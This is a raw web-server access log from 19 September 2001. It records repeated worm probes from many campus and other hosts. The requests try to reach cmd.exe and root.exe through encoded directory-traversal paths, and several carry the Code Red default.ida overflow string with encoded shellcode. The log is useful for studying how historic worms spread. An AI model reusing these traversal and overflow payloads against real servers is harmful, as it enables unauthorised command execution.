  11004. 20010919 13:16:39: noyce.EECS.Berkeley.EDU [128.32.62.23] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11005. 20010919 13:16:39: noyce.EECS.Berkeley.EDU [128.32.62.23] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11006. 20010919 13:16:39: noyce.EECS.Berkeley.EDU [128.32.62.23] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11007. 20010919 13:16:39: noyce.EECS.Berkeley.EDU [128.32.62.23] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11008. 20010919 13:16:40: noyce.EECS.Berkeley.EDU [128.32.62.23] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11009. 20010919 13:16:40: noyce.EECS.Berkeley.EDU [128.32.62.23] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11010. 20010919 13:16:40: noyce.EECS.Berkeley.EDU [128.32.62.23] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11011. 20010919 13:16:40: noyce.EECS.Berkeley.EDU [128.32.62.23] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11012. 20010919 13:16:40: noyce.EECS.Berkeley.EDU [128.32.62.23] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11013. 20010919 13:16:41: noyce.EECS.Berkeley.EDU [128.32.62.23] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11014. 20010919 13:16:41: noyce.EECS.Berkeley.EDU [128.32.62.23] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11015. 20010919 13:16:41: noyce.EECS.Berkeley.EDU [128.32.62.23] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11016. 20010919 13:16:41: noyce.EECS.Berkeley.EDU [128.32.62.23] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11017. 20010919 13:16:42: noyce.EECS.Berkeley.EDU [128.32.62.23] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11018. 20010919 13:16:42: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  11019. 20010919 13:26:07: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  11020. 20010919 13:26:07: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11021. 20010919 13:26:07: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11022. 20010919 13:26:07: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11023. 20010919 13:26:08: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11024. 20010919 13:26:08: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11025. 20010919 13:26:08: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11026. 20010919 13:26:09: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11027. 20010919 13:26:09: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11028. 20010919 13:26:09: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11029. 20010919 13:26:09: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11030. 20010919 13:26:09: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11031. 20010919 13:26:09: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11032. 20010919 13:26:09: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11033. 20010919 13:26:09: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11034. 20010919 13:26:11: dhcp33.cs.columbia.edu [128.59.19.233] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  11035. 20010919 13:30:25: fw1.cmdservices.com [65.82.27.131] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  11036. 20010919 13:31:31: fw1.cmdservices.com [65.82.27.131] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  11037. 20010919 13:31:32: fw1.cmdservices.com [65.82.27.131] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11038. 20010919 13:31:32: fw1.cmdservices.com [65.82.27.131] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11039. 20010919 13:31:32: fw1.cmdservices.com [65.82.27.131] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11040. 20010919 13:31:35: fw1.cmdservices.com [65.82.27.131] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11041. 20010919 13:31:36: fw1.cmdservices.com [65.82.27.131] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11042. 20010919 13:31:36: fw1.cmdservices.com [65.82.27.131] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11043. 20010919 13:31:36: fw1.cmdservices.com [65.82.27.131] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11044. 20010919 13:31:36: fw1.cmdservices.com [65.82.27.131] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11045. 20010919 13:31:36: fw1.cmdservices.com [65.82.27.131] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11046. 20010919 13:31:40: fw1.cmdservices.com [65.82.27.131] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11047. 20010919 13:31:40: fw1.cmdservices.com [65.82.27.131] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11048. 20010919 13:31:43: fw1.cmdservices.com [65.82.27.131] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11049. 20010919 13:31:43: fw1.cmdservices.com [65.82.27.131] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11050. 20010919 13:31:43: fw1.cmdservices.com [65.82.27.131] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11051. 20010919 13:31:43: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  11052. 20010919 13:33:02: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  11053. 20010919 13:33:02: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11054. 20010919 13:33:02: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11055. 20010919 13:33:02: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11056. 20010919 13:33:02: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11057. 20010919 13:33:02: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11058. 20010919 13:33:03: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11059. 20010919 13:33:03: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11060. 20010919 13:33:03: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11061. 20010919 13:33:03: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11062. 20010919 13:33:03: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11063. 20010919 13:33:03: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11064. 20010919 13:33:03: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11065. 20010919 13:33:05: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11066. 20010919 13:33:05: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11067. 20010919 13:33:05:  [128.164.239.146] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  11068. 20010919 13:35:05:  [128.164.239.146] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  11069. 20010919 13:35:23:  [128.164.239.146] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11070. 20010919 13:35:41:  [128.164.239.146] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11071. 20010919 13:35:59:  [128.164.239.146] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11072. 20010919 13:36:18:  [128.164.239.146] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11073. 20010919 13:36:36:  [128.164.239.146] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11074. 20010919 13:36:54:  [128.164.239.146] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11075. 20010919 13:37:12:  [128.164.239.146] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11076. 20010919 13:37:31:  [128.164.239.146] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11077. 20010919 13:37:49:  [128.164.239.146] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11078. 20010919 13:38:07:  [128.164.239.146] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11079. 20010919 13:38:25:  [128.164.239.146] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11080. 20010919 13:38:43:  [128.164.239.146] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11081. 20010919 13:39:01:  [128.164.239.146] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11082. 20010919 13:39:20:  [128.164.239.146] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11083. 20010919 13:39:38: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  11084. 20010919 13:42:50: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  11085. 20010919 13:42:50: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11086. 20010919 13:42:50: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11087. 20010919 13:42:50: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11088. 20010919 13:42:50: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11089. 20010919 13:42:50: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11090. 20010919 13:42:51: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11091. 20010919 13:42:51: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11092. 20010919 13:42:51: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11093. 20010919 13:42:52: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11094. 20010919 13:42:54: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11095. 20010919 13:42:54: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11096. 20010919 13:42:54: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11097. 20010919 13:42:54: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11098. 20010919 13:42:54: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11099. 20010919 13:42:54:  [128.164.25.185] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  11100. 20010919 13:45:54:  [128.164.25.185] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  11101. 20010919 13:46:12:  [128.164.25.185] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11102. 20010919 13:46:31:  [128.164.25.185] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11103. 20010919 13:46:49:  [128.164.25.185] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11104. 20010919 13:47:07:  [128.164.25.185] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11105. 20010919 13:47:25:  [128.164.25.185] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11106. 20010919 13:47:44:  [128.164.25.185] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11107. 20010919 13:48:02:  [128.164.25.185] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11108. 20010919 13:48:20:  [128.164.25.185] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11109. 20010919 13:48:52:  [128.164.25.185] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11110. 20010919 13:49:10:  [128.164.25.185] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11111. 20010919 13:49:28:  [128.164.25.185] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11112. 20010919 13:49:47:  [128.164.25.185] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11113. 20010919 13:50:13:  [128.164.25.185] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11114. 20010919 13:50:31:  [128.164.25.185] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11115. 20010919 13:50:50:  [193.188.114.3] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  11116. 20010919 13:51:30: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  11117. 20010919 13:55:04: tornado8.rtp.dg.com [128.222.25.118] ""
  11118. 20010919 13:55:24: tornado8.rtp.dg.com [128.222.25.118] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  11119. 20010919 13:55:47: tornado8.rtp.dg.com [128.222.25.118] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11120. 20010919 13:56:17:  [128.242.227.159] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  11121. 20010919 14:09:00:  [128.242.227.159] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  11122. 20010919 14:09:19:  [128.242.227.159] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11123. 20010919 14:09:37:  [128.242.227.159] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11124. 20010919 14:09:55: dhcp33.cs.columbia.edu [128.59.19.233] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  11125. 20010919 14:09:56: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  11126. 20010919 14:19:24: borenti2.law.columbia.edu [128.59.176.142] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  11127. 20010919 14:19:24: borenti2.law.columbia.edu [128.59.176.142] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11128. 20010919 14:19:25: borenti2.law.columbia.edu [128.59.176.142] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11129. 20010919 14:19:25: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11130. 20010919 14:19:25: borenti2.law.columbia.edu [128.59.176.142] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11131. 20010919 14:19:25: borenti2.law.columbia.edu [128.59.176.142] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11132. 20010919 14:19:25: borenti2.law.columbia.edu [128.59.176.142] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11133. 20010919 14:19:26: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11134. 20010919 14:19:26: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11135. 20010919 14:19:27: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11136. 20010919 14:19:30: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11137. 20010919 14:19:36: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11138. 20010919 14:19:36: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11139. 20010919 14:19:37: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11140. 20010919 14:19:37: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11141. 20010919 14:19:37: dialup-1-75.cc.columbia.edu [128.59.42.84] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  11142. 20010919 14:19:38: dialup-1-75.cc.columbia.edu [128.59.42.84] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  11143. 20010919 14:19:42: dialup-1-75.cc.columbia.edu [128.59.42.84] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11144. 20010919 14:19:50:  [209.10.27.139] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  11145. 20010919 14:20:43:  [209.10.27.139] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  11146. 20010919 14:21:05: bus84-017.gsb.columbia.edu [128.59.84.17] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  11147. 20010919 14:23:07: dialup-1-75.cc.columbia.edu [128.59.42.84] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  11148. 20010919 14:23:22: dialup-1-75.cc.columbia.edu [128.59.42.84] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  11149. 20010919 14:23:27: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  11150. 20010919 14:25:03: borenti2.law.columbia.edu [128.59.176.142] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  11151. 20010919 14:25:03: borenti2.law.columbia.edu [128.59.176.142] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11152. 20010919 14:25:03: borenti2.law.columbia.edu [128.59.176.142] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11153. 20010919 14:25:03: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11154. 20010919 14:25:03: borenti2.law.columbia.edu [128.59.176.142] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11155. 20010919 14:25:03: borenti2.law.columbia.edu [128.59.176.142] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11156. 20010919 14:25:06: borenti2.law.columbia.edu [128.59.176.142] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11157. 20010919 14:25:07: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11158. 20010919 14:25:07: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11159. 20010919 14:25:07: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11160. 20010919 14:25:10: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11161. 20010919 14:25:10: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11162. 20010919 14:25:13: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11163. 20010919 14:25:14: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11164. 20010919 14:25:14: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11165. 20010919 14:25:14: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  11166. 20010919 14:25:57: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  11167. 20010919 14:25:58: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11168. 20010919 14:25:58: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11169. 20010919 14:25:58: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11170. 20010919 14:25:58: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11171. 20010919 14:25:58: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11172. 20010919 14:25:59: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
